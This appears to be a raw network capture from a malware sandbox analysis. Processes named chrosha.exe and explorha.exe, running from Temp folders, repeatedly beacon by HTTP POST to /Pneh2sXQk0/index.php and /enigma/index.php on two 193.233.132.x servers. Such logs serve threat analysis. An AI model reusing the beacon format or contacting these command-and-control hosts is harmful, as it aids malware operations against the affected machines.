Apr 19, 2024 03:33:17.177627087 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:17.433527946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.5	50568	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:17.406939983 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:17.662655115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.5	50569	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:17.787735939 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:18.031352997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.5	50570	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:18.027229071 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:18.274492979 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.5	50571	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:18.278239012 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:18.521414042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.5	50572	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:18.531030893 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:18.785921097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.5	50573	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:18.879055977 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:19.121715069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.5	50574	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:19.150758982 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:19.400348902 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.5	50575	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:19.369399071 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:19.617826939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.5	50576	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:19.655320883 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:19.907238007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.5	50577	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:19.983275890 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:20.232112885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.5	50578	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:20.273958921 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:20.519186974 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.5	50579	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:20.479027033 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:20.726146936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.5	50580	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:20.772306919 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:21.024439096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.5	50581	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:21.088296890 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:21.334559917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.5	50582	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:21.382230043 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:21.624852896 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.5	50583	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:21.583569050 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:21.832477093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.5	50584	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:21.874053001 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:22.125102997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.5	50586	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:22.194175005 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:22.439335108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.5	50587	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:22.490041018 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:22.734837055 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.5	50588	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:22.698704958 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:22.954735994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.5	50589	193.233.132.167	80	7292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:22.984203100 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:23.235553980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.5	50590	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:23.321075916 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
